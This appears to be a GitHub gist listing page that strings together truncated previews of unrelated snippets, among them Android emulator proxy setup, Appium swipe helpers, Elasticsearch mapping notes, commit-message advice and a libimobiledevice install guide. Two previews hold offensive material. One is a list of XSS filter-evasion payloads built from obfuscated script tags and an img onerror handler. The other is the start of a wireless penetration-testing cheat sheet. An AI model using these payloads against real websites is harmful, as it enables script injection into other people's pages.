- Settings -> Wifi -> Press and hold your active network
- Select “Modify Network”Select “Show Advanced Options”
- Select “Proxy Settings -> Manual”
- Set your Proxy to: 10.0.3.2 (Genymotion’s special code for the local workstation)
- Set your Port to: 8888
- Press Save
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
if [[ $EUID -ne 0 ]]; then | |
echo "You must be root" | |
exit 1 | |
fi | |
service="Wi-Fi" | |
while true; do |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#swipe to top | |
def swipe_to_top(element, duration) | |
elem = element | |
x = elem.location.x | |
y = elem.location.y | |
Appium::TouchAction.swipe(start_x: x, start_y: y, duration: duration) | |
end | |
#when you need to just horizontally swipe carousel of elements or similar (when 2 elements are present) | |
def swipe_horizontally(element_s, element_e, duration) |
Implicit/Dynamic Mapping: Indexing the document without defining the mappings, new fields will be added to the top level and nested. Helps to index data faster, the optimized way of indexing will help indexing perform better with the following.
- Enable
date_detection
and set thedynamic_date_formats
- Numeric Detection,
"numeric_detection": true
- Customer Analyzers need to be tested before going production using Analyzer API, standard analyzers are supported out of the box for natural languages.
- Coerce, indexing fails if the dirty values are getting indexed. Example if you are trying to save a number with
"10"
it will be either saved as floating point or a string but not integer, to make it strict we usecoerce
at index level of field level
These are my preferences for a good commit message, feel free to fork this gist and add your own standards, or add comment here to share yours with the community.
- Don't add any file that is not related to the main issue, you can make it in a separate commit.
- Separating files that not related is important in the revert cases.
- Revise the whole changes always before committing and make sure to mention each change you made in the message.
- Imagine the commit as an Email to the owner or your team mates.
- Subject in the first and main sentence of the commit, it should be concise and to the point.
- It shouldn't exceed 50 char.
In your Genymotion Android emulator…
- Settings -> Wifi -> Press and hold your active network
- Select “Modify Network”
- Select “Show Advanced Options”
- Select “Proxy Settings -> Manual”
- Set your Proxy to: 10.0.3.2 (Genymotion’s special code for the local workstation)
- Set your Port to: 8888
- Press Save
You should now be able to see Genymotion traffic showing up in your Charles Proxy
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Install libimobiledevice on Mac OS X | |
So you'd like to manage your iOS devices by command line? | |
You can use libimobiledevice tools for that. | |
Easy on Linux. Let's see how it is on Mac OS X. | |
You'll need to: | |
1. install Xcode | |
2. start Xcode and agree to it's license | |
3. install Xcode command line tools (Start Xcode, Go to Preferences -> Downloads tab) | |
4. install homebrew by this command (sudo password will be prompted) |
#Wireless Penetration Testing Cheat Sheet
##WIRELESS ANTENNA
- Open the Monitor Mode
root@uceka:~# ifconfig wlan0mon down
root@uceka:~# iwconfig wlan0mon mode monitor
root@uceka:~# ifconfig wlan0mon up
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script\x20type="text/javascript">javascript:alert(1);</script> | |
<script\x3Etype="text/javascript">javascript:alert(1);</script> | |
<script\x0Dtype="text/javascript">javascript:alert(1);</script> | |
<script\x09type="text/javascript">javascript:alert(1);</script> | |
<script\x0Ctype="text/javascript">javascript:alert(1);</script> | |
<script\x2Ftype="text/javascript">javascript:alert(1);</script> | |
<script\x0Atype="text/javascript">javascript:alert(1);</script> | |
'`"><\x3Cscript>javascript:alert(1)</script> | |
'`"><\x00script>javascript:alert(1)</script> | |
<img src=1 href=1 onerror="javascript:alert(1)"></img> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
curl -s http://ascii-middle-finger.com/ | grep -A 10 '<pre>' | grep -v 'pre' |
NewerOlder